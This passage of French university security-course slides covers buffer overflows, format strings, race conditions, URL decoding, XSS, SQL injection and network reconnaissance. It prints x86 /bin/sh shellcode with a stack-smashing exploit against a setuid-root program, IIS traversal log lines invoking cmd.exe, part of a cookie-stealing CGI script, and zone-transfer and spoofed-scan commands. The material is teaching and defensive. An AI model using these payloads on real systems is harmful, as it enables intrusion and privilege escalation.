    28/09/2012 - ENSICAEN - (c) dp 95

    Exemple: BIND

    Vulnrabilit dcouverte en juillet 2007 touchant denombreuses versions de BIND(CVE-2007-2926 , BID-25037).

    Description du CERTA:

    "Une vulnrabilit a t identifie dans BIND. La failleconcerne le gnrateur d'identifiants de requtes,vulnrable une cryptanalyse permettant une chanceleve de deviner le prochain identifiant pour la moitides requtes. Ceci peut tre exploit par une personnemalintentionne pour effectuer du cache poisoning etdonc contourner la politique de scurit. "

    Exemple faille DNS cachepoisoning

    28/09/2012 - ENSICAEN - (c) dp 96

  • 7/25/2019 117790093-securite-informatique.pdf

    49/139

    49

    28/09/2012 - ENSICAEN - (c) dp 97

    Vulnrabilits

    applicatives

    28/09/2012 - ENSICAEN - (c) dp 98

    Vulnrabilits applicatives

    Beaucoup d'applications sont vulnrables dues dela mauvaise programmation (par manque de temps,de motivation, ) ou volontairement (amnagementd'un point d'entre, ).

    Toutes les applications ont besoin de scurit:services rseaux (daemons), les applicationstlcharges (applet java, ), les applications web(scripts cgi, ), les applications utilises parl'administrateur ou disposant d'un bit setuid/setgid,visualisateur de donnes distantes,

  • 7/25/2019 117790093-securite-informatique.pdf

    50/139

    50

    28/09/2012 - ENSICAEN - (c) dp 99

    Vulnrabilits les pluscourantes Les vulnrabilits peuvent tre due:

    "backdoors" laisses volontairement ouinvolontairement sur un service par leprogrammeur (Ex: rlogin sous AIX V3)

    Erreurs de programmation Dbordements de tampons (buffer overflow)

    Chanes de format Entres utilisateurs mal valides Les problmes de concurrence etc.

    28/09/2012 - ENSICAEN - (c) dp 100

    Buffer Overflow

    Appele aussi "buffer overruns"; c'estune vulnrabilit extrmement tendue

    (environ 2/3 des vulnrabilits).

    criture de donnes en dehors de lazone alloue (pile ou tas).

  • 7/25/2019 117790093-securite-informatique.pdf

    51/139

    51

    28/09/2012 - ENSICAEN - (c) dp 101

    Exemple code erronint main (int argc, char **argv){

    char buf [8] ;strcpy (buf,argv [1]) ;

    }fichier: demo.c

    Excution:[dp@ns bufferoverflow]$ ./demo aaaaaaaaaaaaaaaaaaaaaaaaaaSegmentation fault

    Sous debugger:

    [dp@ns bufferoverflow]$ gdb demo(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaStarting program: /users/dp/bufferoverflow/demo

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaProgram received signal SIGSEGV, Segmentation fault.0x61616161 in ?? ()

    28/09/2012 - ENSICAEN - (c) dp 102

    Buffer Overflow

    Si le buffer est une variable C locale, on pourraessayer de forcer la fonction excuter du codepirate ("stack smashing attack").

    Beaucoup d'applications crites en langage C sontvulnrables car la simplicit et l'efficacit de celangage ont prvalu sur les contrles d'intgritlaisss la responsabilit du programmeur. Mais leproblme existe galement dans d'autres langagesde programmation.

  • 7/25/2019 117790093-securite-informatique.pdf

    52/139

    52

    28/09/2012 - ENSICAEN - (c) dp 103

    Gestion de pile sous Unix

    texttext

    data initializeddata initialized

    linker header &magic number

    symbol table

    heap

    stack

    command line arguments

    and shell environment

    Process in memory

    Storage file

    bss

    28/09/2012 - ENSICAEN - (c) dp 104

    Gestion de pile sous Linuxx86

    gcc S stack.c

    void function (int a,int b,int c)

    {char buffer1 [5] ;

    char buffer2 [10] ;

    }

    void main ()

    {

    function (1,2,3) ;

    }

  • 7/25/2019 117790093-securite-informatique.pdf

    53/139

    53

    28/09/2012 - ENSICAEN - (c) dp 105

    Gestion de pile sous Linuxx86.text

    .align 4

    .globl function

    .type function,@function

    function:

    pushl %ebp

    movl %esp,%ebp

    subl $20,%esp

    .L1:

    leave

    ret

    .Lfe1:

    .size function,.Lfe1-function

    .align 4

    .globl main

    .type main,@function

    main:

    pushl %ebp

    movl %esp,%ebp

    pushl $3

    pushl $2

    pushl $1

    call function

    addl $12,%esp

    .L2:

    leave

    ret

    28/09/2012 - ENSICAEN - (c) dp 106

    Gestion de pile sous Linuxx86

    bss

    heap

    buffer2

    buffer1

    sfp

    ret

    a

    b

    c

    user stack

  • 7/25/2019 117790093-securite-informatique.pdf

    54/139

    54

    28/09/2012 - ENSICAEN - (c) dp 107

    Code Shell

    Le buffer overflow va tre utilis pourprovoquer l'excution de /bin/sh, shell prsentdans toutes les distributions unix.

    Gnration du code assembleur de lasquence: execve (argv[0],"/bin/sh",NULL)

    Exemple code Linux x86:c h a r s h e llc o d e [] ="\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"

    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"

    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"

    "\x ff\x ff/b in /s h ";

    28/09/2012 - ENSICAEN - (c) dp 108

    Exemple BufferOverflow/Code Shell

    char shellcode[] =

    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"

    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"

    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"

    "\xff\xff/bin/sh";

    char large_string [128] ;void main ()

    {

    char buffer [96] ;

    int i ;

    long *long_ptr = (long *) large_string ;

    for (i = 0 ; i < 32 ; i++)

    *(long_ptr + i) = (int) buffer ;

    for (i = 0 ; i < strlen (shellcode) ; i++)

    large_string [i] = shellcode [i] ;

    strcpy (buffer,large_string) ;

    }

  • 7/25/2019 117790093-securite-informatique.pdf

    55/139

    55

    28/09/2012 - ENSICAEN - (c) dp 109

    ExempleBuffer/Overflow/Code Shell

    shellcode

    large_string (128)

    buffer (96)

    i (4)

    long_ptr (4)

    sfp (4)

    ret (4)

    strcpyoverflow

    28/09/2012 - ENSICAEN - (c) dp 110

    Stack Smashing Dans la ralit, les applications ne

    comportent naturellement pas de squenceshell.

    L'exploitation d'un "buffer overflow" ncessited'essaye de piger l'application avec la lignede commande, les variables d'environnementshell, les entres de donnes interactives,

  • 7/25/2019 117790093-securite-informatique.pdf

    56/139

    56

    28/09/2012 - ENSICAEN - (c) dp 111

    Exemple dapplicationchar shellcode[] =

    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"\xff\xff/bin/sh";

    void main (){

    char buffer [128] ; int i ; long address = (long)&buffer ;for (i = 0 ; i < 128 ; i++) buffer [i] = 0x90 ;buffer [12] = address >> 0 & 0xff ; buffer [13] = address >> 8 & 0xff ;buffer [14] = address >> 16 & 0xff ; buffer [15] = address >> 24 & 0xff ;for (i = 0 ; i < strlen (shellcode) ; i++)

    buffer [128 - strlen (shellcode) + i] = shellcode [i] ;execl ("/users/dp/bufferoverflow/demo","demo",buffer,0) ;

    }

    -rws--x--x 1 root root 11800 Sep 16 11:4 /users/dp/bufferoverflow/demo

    28/09/2012 - ENSICAEN - (c) dp 112

    Stack Smashing Prevention

    Les fonctions de manipulation de chanes sans contrle de longueursont vulnrables.

    Liste non exhaustive:

    gets (str) fgets (stdin,str,10)

    strcpy (str1,str2) strncpy (str1,str2,10)

    strcat (str1,str2) strncat (str1,str2,10)

    scanf ("%s",str) scanf ("%10s",str)

  • 7/25/2019 117790093-securite-informatique.pdf

    57/139

    57

    28/09/2012 - ENSICAEN - (c) dp 113

    Stack Smashing Prevention

    Utilisation de logiciels daudit de code source;Exemple: logiciel RATS (Rough Auditing Tool forSecurity)http://www.securesw.com/download_rats.htm/

    La pile peut tre rendu non excutable: Patch linux:http://www.openwall.com/linux Solaris: ajout dans /etc/system:

    set noexec_user_stack=1

    set noexec_user_stack_log=1 Certains compilateurs peuvent mettre un repre

    ("canary") devant l'adresse de retour afin de laprotger (stackguard driv de gcc).

    28/09/2012 - ENSICAEN - (c) dp 114

    Exemple stackguard

    buffer

    sfp

    retcanary

    En cas dattaque

    on crase lebuffer, canaryetret

    avant le retour de la fonction,

    le programme vrifie le

    contenu de canary et dtecte

    lintrusion

    Le canary doit tre gnr

    alatoirement.

  • 7/25/2019 117790093-securite-informatique.pdf

    58/139

    58

    28/09/2012 - ENSICAEN - (c) dp 115

    Exemple de vulnrabilit

    28/09/2012 - ENSICAEN - (c) dp 116

    Chanes de format

    Problme connu depuis juin 1999 et exploitdepuis juin 2000.

    Leur exploitation ont conduit desvulnrabilits "remote root" (wu-ftpd, linuxtpc.statd, ) et "local root" (OpenBSD fstat,)

    De nombreuses vulnrabilits sontprobablement encore venir.

  • 7/25/2019 117790093-securite-informatique.pdf

    59/139

    59

    28/09/2012 - ENSICAEN - (c) dp 117

    Fonctions C de formatage

    Exemples de telles fonctions: toute la familledes fonctionsprintf, syslog.

    Fonctions acceptant un nombre variable deparamtres dont l'un est une chane deformat.

    Les variables affiches sont converties enune reprsentation affichable etcomprhensible par l'homme.

    28/09/2012 - ENSICAEN - (c) dp 118

    Fonctionnement d'un printf

    printf ("les nombres valent %d %d\n",a,b);

    2 particularits dans les fonctions de lafamille printf: printf ("%s%n\n",chaine,&count); printf (chaine) ;

    b

    a

    chane de format

  • 7/25/2019 117790093-securite-informatique.pdf

    60/139

    60

    28/09/2012 - ENSICAEN - (c) dp 119

    Exploitation d'une chane deformat Modification de la valeur de la variable target:

    #include

    main (int argc,char **argv)

    {

    char inbuf[100];

    char outbuf [100] ;

    int target = 33 ;

    memset (inbuf,'\0',100) ;

    memset (outbuf,'\0',100) ;

    read (0,inbuf,100) ;

    sprintf (outbuf,inbuf) ;

    printf ("%s",outbuf) ;

    printf ("target = %d\n",target) ;

    }

    28/09/2012 - ENSICAEN - (c) dp 120

    Format String + BufferOverflow

    Exemple: vulnrabilit de qpop 2.53#include

    void fonction (char *user)

    {

    char outbuf [512] ;char buffer [512] ;

    sprintf (buffer,"ERR Wrong command: %400s",user) ;

    sprintf (outbuf,buffer) ;

    }

    void main ()

    {

    char user [128] ;

    read (0,user,sizeof (user)) ;

    fonction (user) ;

    }

  • 7/25/2019 117790093-securite-informatique.pdf

    61/139

    61

    28/09/2012 - ENSICAEN - (c) dp 121

    Vulnrabilit qpop 2.53

    Objectif: faire dborder outbuf sur l'adressede retour; celle ci pointera sur user.

    user:["Shell code" "%97c" "Adresse de user]buffer: aprs le 1er sprintf["Err Wrong Command : "" Shell code%97cAdresse de user]

    ----------20---------------------------------400----------------Le 2me sprintf interprte le %97c; il fait

    dborder outbuf.

    28/09/2012 - ENSICAEN - (c) dp 122

    Exemple de vulnrabilit

  • 7/25/2019 117790093-securite-informatique.pdf

    62/139

    62

    28/09/2012 - ENSICAEN - (c) dp 123

    Race Condition Toute ressource (fichiers, structure de

    donnes, ) peut tre manipulesimultanment par plusieurs processus ouplusieurs threads.

    Certaines oprations doivent donc trerendues atomiques.

    Les droits d'accs doivent tre trs prcis.

    Exemple: quel est danger du programme surle transparent suivant, sachant quel'excutable appartient "root" et possde leSetUser ID (bit s) ?

    28/09/2012 - ENSICAEN - (c) dp 124

    Race Condition#include

    #include

    #include

    #include

    #include

    int main (int argc,char **argv)

    {

    struct stat st ;

    FILE *fp ;if (argc != 3)

    { fprintf (stderr,"usage : %s fichier message\n", argv [0]) ; exit (EXIT_FAILURE) ;}

    if (stat (argv [1], &st) < 0)

    {fprintf (stderr,"%s introuvable\n",argv [1]) ;exit (EXIT_FAILURE) ;}

    if (st.st_uid != getuid ())

    {fprintf (stderr,"%s ne vous appartient pas !\n", argv [1]) ;exit (EXIT_FAILURE) ;}

    if (! S_ISREG (st.st_mode))

    {fprintf (stderr,"%s n'est pas un fichier normal\n", argv [1]) ;exit (EXIT_FAILURE) ;}

    if ( (fp = fopen (argv [1],"w")) == NULL)

    {fprintf (stderr,"Ouverture impossible\n") ;exit (EXIT_FAILURE) ;}

    fprintf (fp,"%s\n",argv [2]) ;fclose (fp) ;fprintf (stderr,"Ecriture OK\n") ;

    exit (EXIT_SUCCESS) ;

    }

  • 7/25/2019 117790093-securite-informatique.pdf

    63/139

    63

    28/09/2012 - ENSICAEN - (c) dp 125

    Fonctions utiliser

    Il faut conserver la totale matrise d'un fichier lors desa manipulation d'un fichier.

    Quelques exemples de fonctions utilisables:

    int open (pathname,flag,mode) Ouverture d'un fichier. Renvoieun descripteur

    fstat (inf fd,struct stat *st) Informations sur un fichier

    FILE *fdopen (int fd,char *mode) Obtenir un flux partir d'undescripteur dj ouvert

    28/09/2012 - ENSICAEN - (c) dp 126

    Fichiers temporaires

    Les applications crent des fichierstemporaires dans /tmp

    drwxrwxrwt 6 root root 1024 Sep 29 15:01

    /tmp Problme quand le nom du fichier temporaire est

    prvisible et cr par une application root suid:

    Cration d'un lien symbolique entre ce fichier et unfichier systme critique (/etc/shadow par exemple)

    L'application doit tre ensuite tue pour qu'elle nepuisse effacer son fichier temporaire.

  • 7/25/2019 117790093-securite-informatique.pdf

    64/139

    64

    28/09/2012 - ENSICAEN - (c) dp 127

    Exemple programme erron

    #include

    void main ()

    {

    FILE *fp ;

    char chaine [80] ;

    memset (chaine,'\0',sizeof (chaine)) ;

    if ( (fp = fopen ("/tmp/stupide","w")) == NULL) { exit (1) ; }

    read (0,chaine,sizeof (chaine)) ;fprintf (fp,"%s",chaine) ;

    fclose (fp) ;}

    28/09/2012 - ENSICAEN - (c) dp 128

    Fichiers temporaires Cration d'un rpertoire dans un rpertoire

    disposant d'un bit "t" (sticky bit): Nom de fichier alatoire.

    Fichier ouvert avec les droits O_CREAT|O_EXCL(attention aux disques NFS avec O_EXCL).

    La fonctiontmpfile (3)cre un fichiertemporaire dans le rpertoire spcifi par lavariableP_tmpdirde stdio.h. Mais pas deprcision sur les droits d'accs.

    Utiliser pluttmkstemp (3)en conjonction avecumask (2).

  • 7/25/2019 117790093-securite-informatique.pdf

    65/139

    65

    28/09/2012 - ENSICAEN - (c) dp 129

    Cration d'un fichiertemporaire#include FILE *create_tempfile (char *temp_filename_pattern){

    int temp_fd,old_mode ;FILE *tmp ;old_mode = umask (077) ;temp_fd = mkstemp (temp_filename_pattern) ;umask (old_mode) ;if (temp_fd == -1) { exit (1); }if ( ! (tmp = fdopen (temp_fd,"w+b"))) { exit (1) ; }return tmp ;

    }void main (){

    char pattern [ ] = "/tmp/demoXXXXXX" ;create_tempfile (pattern) ;unlink (pattern) ; /* Effacement */

    }

    28/09/2012 - ENSICAEN - (c) dp 130

    Exemple de vulnrabilit

  • 7/25/2019 117790093-securite-informatique.pdf

    66/139

    66

    28/09/2012 - ENSICAEN - (c) dp 131

    Erreurs de dcodage d'URL

    Certains caractres doivent tre "chapps";par exemple le passage de paramtres unCGI, les caractres encods sur plusieursoctets.

    Caractre chapp: %XX o XX est le codehexadcimal du caractre encoder.

    Exemple:nick=test+param%E8tre&channel=France

    Des serveurs webs peuvent ne pas dcoderde manire propre.

    28/09/2012 - ENSICAEN - (c) dp 132

    Erreur de dcodage d'URL

    Un serveur web est amen prendre une dcision en fonctiond'une URL:

    Le chemin indiqu ne doit pas sortir de la racine du serveurWEB

    L'extension du fichier dcide du handler activer (.cgi, .jsp,); un fichier se terminant par.jsp%00.htmlpeut treconsidr comme un fichier html par les mcanismes descurit mais excut comme du code java (Java ServerPage).

    L'utilisateur doit avoir les permissions adquates pouraccder au fichier ou rpertoire indiqu.

    Beaucoup de serveurs web effectuent des tests de scuritavant le dcodage et non aprs.

  • 7/25/2019 117790093-securite-informatique.pdf

    67/139

    67

    28/09/2012 - ENSICAEN - (c) dp 133

    Etude de cas Microsoft IIS 4.0 et 5.0 tait vulnrable au problme: "MS

    IIS/PWS Escaped Characters Decoding Command ExecutionVulnrability".

    Dtail surhttp://www.securityfocus.com/cgi-bin/vulns-item.pl?section=discussion&id=2708

    Correctif surhttp://www.microsoft.com/technet/security/bulletin/MS01-026.asp

    Chaque requte subit le traitement suivant:

    dcodage. test de scurit. si le test de scurit est valid, dcodage

    nouveau avant utilisation.

    28/09/2012 - ENSICAEN - (c) dp 134

    IIS : Etude de cas

    On tente d'excuter une commande sur lesystme distant: besoin de transmettre lachane ..\..

    Codage: ..%5c.. Echec

    Double codage: ..%255c.. Succs

    Plusieurs exploits disponibles, par exempleexeciis.c par Filip Maertens,[email protected]

    IIS souffre aussi de la vulnrabilit "NT IISMDAC RDS vulnerabilit (BugTraq ID 529).

  • 7/25/2019 117790093-securite-informatique.pdf

    68/139

    68

    28/09/2012 - ENSICAEN - (c) dp 135

    Exemples d'attaque

    Donnes extraites du fichier de log dehttp://www.ensicaen.fr

    host-213-191-162-202.warsun.com - - [27/Aug/2004:07:42:22 +0200] "GET/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -

    195.224.89.179 - - [28/Aug/2004:14:17:43 +0200] "GET/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -

    artemisa.escet.urjc.es - - [05/Sep/2004:20:17:35 +0200] "GET/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -

    195.167.240.188 - - [08/Sep/2004:03:53:14 +0200] "GET/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -

    128.192.164.95 - - [10/Sep/2004:02:46:42 +0200] "GET/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -

    28/09/2012 - ENSICAEN - (c) dp 136

    Exemple de mauvais dcodaged'URL

    Vulnrabilit dcouverte en juillet 2007(CVE-2007-3845, BID-24837).

    Concerne Firefox sous Windows XPavec Internet Explorer 7 install

    Mauvaise gestion du caractre spcial"%00" dans les chanes formant les URI(Uniform Ressource Identifier)

  • 7/25/2019 117790093-securite-informatique.pdf

    69/139

    69

    28/09/2012 - ENSICAEN - (c) dp 137

    Exemple de mauvais dcodaged'URLEnvoyer votre courrier [email protected]

    28/09/2012 - ENSICAEN - (c) dp 138

    Le cross site scripting

    Attaque connue depuis fvrier 2000: http://www.cert.org/advisories/CA-2000-02.html

    Pourquoi ce nom :

    Attaque base sur lexcution de scripts dans lenavigateur de la victime (javascript, vbscript, ). La victime passe dun site lautre sans sen

    apercevoir. Lacronyme XSS:

    CSS : Cascading Style Sheet XSS : Cross Site Scripting (excution croise de

    code).

  • 7/25/2019 117790093-securite-informatique.pdf

    70/139

    70

    28/09/2012 - ENSICAEN - (c) dp 139

    Intrt de XSS

    http est un protocole sans notion de session: pas delien entre les requtes reues par le serveur.

    Une session doit tre construite artificiellement:

    Par un cookie envoy au navigateur

    Par manipulation dURL contenant un identifiant

    Par des paramtres dun programme Etc.

    28/09/2012 - ENSICAEN - (c) dp 140

    Exemple dattaque

    Herv Schauer Consultants http://www.hsc.fr

  • 7/25/2019 117790093-securite-informatique.pdf

    71/139

    71

    28/09/2012 - ENSICAEN - (c) dp 141

    Comment dtourner le cookie

    Le client a consult un site pirate. Le client a reu un courrier lectronique

    contenant un lien vers un site pirate. Le serveur consult a t pirat et contient un

    lien vers le site pirate. Un code malveillant pointant vers le site

    pirate a t insr dans les saisies du client. Etc.

    28/09/2012 - ENSICAEN - (c) dp 142

    Exemple de mise en oeuvre

    Une vulnrabilit XSS est dtecte sur le sitewww.vulnerable.com

    Un utilisateur clique sur un lien (reu par courriel,

    trouv sur un livre dor, ):

    cliquer ici pour recevoir 50 euros

    Nom dun champ duformulaire

  • 7/25/2019 117790093-securite-informatique.pdf

    72/139

    72

    28/09/2012 - ENSICAEN - (c) dp 143

    Script steal.cgi #!/usr/bin/perl

    # steal.cgi by David Endler [email protected]# Specific to your system$mailprog = '/usr/sbin/sendmail';# create a log file of cookies, well also email them tooopen(COOKIES,>>stolen_cookie_file);# what the victim sees, customize as neededprint "Content-type:text/html\n\n";print

    fichiertest1_xss.php3

  • 7/25/2019 117790093-securite-informatique.pdf

    73/139

    73

    28/09/2012 - ENSICAEN - (c) dp 145

    Remde possible

    Ne jamais faire confiance une saisieutilisateur.

    Ne jamais afficher lcran tel quel unesaisie utilisateur.

    Filtrer tous les caractres indsirables

    (comme les caractres < et >). Exemple en php:

    print htmlspecialchars ("Bonjour $nom") ;

    28/09/2012 - ENSICAEN - (c) dp 146

    Lauthentification .htaccess

    Systme dauthentification frquemmentutilis pour restreindre laccs au contenu derpertoires spcifiques.

    Filtre par domaine, mcanisme login/mot depasse.

    Fichier .htaccess par dfaut.

  • 7/25/2019 117790093-securite-informatique.pdf

    74/139

    74

    28/09/2012 - ENSICAEN - (c) dp 147

    Exemple de connexion

    28/09/2012 - ENSICAEN - (c) dp 148

    Ecoute de la phase deconnexion

    Mot de passe uuencode

  • 7/25/2019 117790093-securite-informatique.pdf

    75/139

    75

    28/09/2012 - ENSICAEN - (c) dp 149

    Injection SQL

    Beaucoup d'applications web s'appuientsur des bases de donnes.

    Les requtes SQL utilisent desinformations saisies par les utilisateurs.

    Les informations doivent tre traitesavant utilisation.

    28/09/2012 - ENSICAEN - (c) dp 150

    Injection SQL

    SELECT login FROM users WHERE login = '$login' AND password='$password'

    Quel risque si les valeurs du formulaire sont utilises sansvrification ?

  • 7/25/2019 117790093-securite-informatique.pdf

    76/139

    76

    28/09/2012 - ENSICAEN - (c) dp 151

    Scurit des

    systmes

    28/09/2012 - ENSICAEN - (c) dp 152

    Disponibilit

    Plusieurs ordinateurs peuvent tre regroups engrappe (cluster) pour tre visibles comme un seulordinateur et permettre:

    D'augmenter la disponibilit De mieux rpartir la charge Permettre la monte en charge

    Exemples:xgrid (apple), cluster linux, windows server,

  • 7/25/2019 117790093-securite-informatique.pdf

    77/139

    77

    28/09/2012 - ENSICAEN - (c) dp 153

    Virtualisation Ensemble des technologies matrielles et/ou logicielles qui permettent de faire

    fonctionner sur une seule machine plusieurs systmes d'exploitation et/ouplusieurs applications, sparment les uns des autres, comme s'ilsfonctionnaient sur des machines physiques distinctes.

    Quelques avantages:

    Optimiser l'usage des ressources d'une machine tout en isolant les services entre eux. Optimisation du taux dutilisation des ressources informatiques Economie dnergie ( green computing ) Gain conomique et dencombrement Possibilit de cloner et/ou de dplacer des machines

    Quelques risques Une panne ou une indisponibilit dune ressource commune peut bloquer tous les

    services hbergs. En fonction de la solution virtualisation, un manque de cloisonnement peut engendrer

    une fuite dinformations. Risque de copie non souhaite de machine virtuelle

    28/09/2012 - ENSICAEN - (c) dp 154

    Logiciels de virtualisation

    vmwarehttp://www.vmware.com

    Citrix Xen Serverhttp://www.citrix.com

    Vserver

    http://www.linux-vserver.org

    Virtualbox: virtualisation du poste de travailhttp://www.virtualbox.org/

  • 7/25/2019 117790093-securite-informatique.pdf

    78/139

    78

    28/09/2012 - ENSICAEN - (c) dp 155

    Les outils

    d'attaques/dfenses

    28/09/2012 - ENSICAEN - (c) dp 156

    Beaucoup d'outils disponibles

    Visite de G. Bush la NSA en janvier 2006

    outils de scurit

  • 7/25/2019 117790093-securite-informatique.pdf

    79/139

    79

    28/09/2012 - ENSICAEN - (c) dp 157

    Anatomie d'une attaque

    Rcolte d'informations sur une ciblepotentielle.

    Interrogation des bases whois.

    Utilisation de moteurs de recherche.

    Analyse de la cible (cartographie,recherche des services ouverts et desvulnrabilits).

    28/09/2012 - ENSICAEN - (c) dp 158

    Cartographie du rseau

    Mthode standard peu efficace: ping (Packet Internet Groper). Outils plus sophistiqus:

    Pinger http://www.nmrc. org/fil es/snt/ fping http://www.fping.com hping3 http://www.hping.org

    - Test firewall rules- Advanced port scanning- Test net performance using different protocols,

    packet size, TOS (type of service) and

    fragmentation.- Path MTU discovery- Transferring files between even really fascist

    firewall rules.- Traceroute-like under different protocols.- Firewalk-like usage.- Remote OS fingerprinting.- TCP/IP stack auditing.- A lot of others.

  • 7/25/2019 117790093-securite-informatique.pdf

    80/139

    80

    28/09/2012 - ENSICAEN - (c) dp 159

    Cartographie du rseau

    Le DNS d'un site centralise toutes lesmachines connectes au rseau.

    Certains DNS incorrectementconfigurs peuvent autoriser destransferts de zones:

    dig @ns.domaine.com domaine.com axfr

    28/09/2012 - ENSICAEN - (c) dp 160

    Recherche des servicesouverts

    Recherche des services ouverts un instant donn.

    Utilisation d'un scanner de ports

    Envoi d'un paquet (TCP,UDP,ICMP) sur une cible etanalyse du rsultat; suivant les cas on pourradterminer l'tat d'un port (ouvert,ferm, filtr).

    Beaucoup de logiciels disponibles:Unix: nmap, jakal, IdentTCPscanWindows: ISS,YAPS

  • 7/25/2019 117790093-securite-informatique.pdf

    81/139

    81

    28/09/2012 - ENSICAEN - (c) dp 161

    nmap

    Outil de rfrence.

    nmap sous unix (http://www.nmap.org)

    Scanne une machine ou un rseau la recherchedes services ouverts et de son identit.

    Supporte de nombreuses techniques de scan:

    28/09/2012 - ENSICAEN - (c) dp 162

    nmap: techniques de scan

    vanilla TCP connect () (-sT, dfaut) TCP SYN (half open) (-sS) TCP FIN (stealth) (-sF)

    Xmas scan (-sX) Null scan (-sN) TCP ftp proxy (bounce attack) (-b server) SYN/FIN using IP fragments (-f) UDP recvfrom () (-sU) RPC scan (-sR) Reverse-ident (-I)

  • 7/25/2019 117790093-securite-informatique.pdf

    82/139

    82

    28/09/2012 - ENSICAEN - (c) dp 163

    nmap Beaucoup de fonctionnalits prsentes dans nmap:

    Scan Sans envoi de trame ICMP (-P0) Scan en mode verbeux (-v v) Impose le port source (-g port) FingerPrinting: Remote OS detection (-O) decoy scanning (-Ddecoy_host1,decoy2[,...]) Timing policy (-T

  • 7/25/2019 117790093-securite-informatique.pdf

    83/139

    83

    28/09/2012 - ENSICAEN - (c) dp 165

    Scan Spoof

    hping permet de scanner une machineen usurpant l'identit d'une autre:

    scanner

    rebond(machine

    peu active)

    cible

    hping r rebond

    SYN, port,source=rebond

    RST si portferm SYN-ACK

    RST si portouvert

    28/09/2012 - ENSICAEN - (c) dp 166

    FingerPrinting passif

    FingerPrinting est dit passif quand iln'met aucune information:

    Analyse des trames envoyes par unemachine distante.

    Analyse d'un fichier de log.

    Exemple: p0f http://www.stearns.org/p0f

  • 7/25/2019 117790093-securite-informatique.pdf

    84/139

    84

    28/09/2012 - ENSICAEN - (c) dp 167

    Association port-processus

    Comment trouver localement quel processusest en coute sur un port: Unix

    netstat anp (sur les versions rcentes d'unix)

    commande plus gnrale: lsof (LiSt Opened Files)ftp://vic.cc.purdue.edu/pub/tools/unix/lsof

    lsof i | grep LISTEN

    Windows Active Ports

    tcpview

    28/09/2012 - ENSICAEN - (c) dp 168

    Exemple Unix "lsof"

    httpd 1053 root 16u IPv4 3262 TCP *:http (LISTEN)

    httpd 1060 nobody 16u IPv4 3262 TCP *:http (LISTEN)

    httpd 1061 nobody 16u IPv4 3262 TCP *:http (LISTEN)

    httpd 1062 nobody 16u IPv4 3262 TCP *:http (LISTEN)

    httpd 1063 nobody 16u IPv4 3262 TCP *:http (LISTEN)httpd 1064 nobody 16u IPv4 3262 TCP *:http (LISTEN)

    sshd 1073 root 3u IPv4 3310 TCP *:ssh (LISTEN)

    xinetd 1088 root 5u IPv4 3327 TCP *:pn-raproxy (LISTEN)

    xinetd 1088 root 6u IPv4 3328 TCP *:telnet (LISTEN)

    httpd 1213 nobody 16u IPv4 3262 TCP *:http (LISTEN)

    httpd 7996 nobody 16u IPv4 3262 TCP *:http (LISTEN)

    squid 14787 nobody 11u IPv4 13401405 TCP *:squid (LISTEN)

    httpd 17885 nobody 16u IPv4 3262 TCP *:http (LISTEN)

  • 7/25/2019 117790093-securite-informatique.pdf

    85/139

    85

    28/09/2012 - ENSICAEN - (c) dp 169

    Exemple Windows

    28/09/2012 - ENSICAEN - (c) dp 170

    Recherche des versionsutilises

    Les versions des services utilises donnent desindications sur les vulnrabilits potentielles.

    Les versions peuvent parfois tre obtenues par un

    simple telnet sur un port donn: Exemples:

  • 7/25/2019 117790093-securite-informatique.pdf

    86/139

    86

    28/09/2012 - ENSICAEN - (c) dp 171

    Numro de version d'un serveurwebdp@debian-mx1:~$ telnet www.ensicaen.fr 80Trying 193.49.200.59...Connected to serv2.ensicaen.fr.Escape character is '^]'.quit501 Method Not ImplementedMethod Not Implementedquit to /index.html not supported.

    Invalid method in request quit

    Apache/1.3.26Server at www.ensicaen.fr Port 80Connection closed by foreign host.

    Attention: le rsultat est-il garanti ?

    28/09/2012 - ENSICAEN - (c) dp 172

    Concept de faille

    Une faille est une vulnrabilit permettant desattaquants d'obtenir un accs non autoris unsystme.

    On peut trouver des vulnrabilits tous les niveaux: routeurs logiciels client/serveur systme d'exploitation firewalls

  • 7/25/2019 117790093-securite-informatique.pdf

    87/139

    87

    28/09/2012 - ENSICAEN - (c) dp 173

    Vulnrabilits Des dizaines de vulnrabilits sont dcouvertes chaque semaine (environ 7000

    failles publies sur Internet en 2011 et 26 millions de codes malveillantsdiffuss*)

    Une vulnrabilit peut tre la consquence d'une ngligence (mot de passe nulou trivial par exemple) ou d'une erreur de programmation (buffer overflow, ).

    Certaines vulnrabilits peuvent tre gardes secrtes ( des fins d'espionnage,d'utilisation mafieuse, ).

    La dcouverte de nouvelles vulnrabilits peut faire l'objet de rmunration; onentre dans l're du "vulnerability business".

    Certaines vulnrabilits peuvent tre divulgues immdiatement (0 day);phnomne dangereux et irresponsable.

    Certains sites diffusent des exploits sans mentionner de correctifs.

    * Source: rapport PandaLabs 2012

    28/09/2012 - ENSICAEN - (c) dp 174

    Vulnrabilits Un administrateur doit se tenir inform quotidiennement des dernires

    vulnrabilits et avoir de la ractivit.

    Beaucoup d'information en ligne: Sites officiels

    CERT (Computer Emergency Response Team) Gouvernement franais:

    Premier MinistreSGDN (Secrtaire Gnral de la Dfense Nationale)

    ANSSI (Agence Nationale de la Scurit des SystmesdInformation)

    COSSI (Centre Oprationnel de la scurit desSystmes dInformations)

    CERTA (Centre d'Expertise deRponse et de Traitement des

    Attaques)

    Sites spcialiss Listes de diffusion: BugTraq

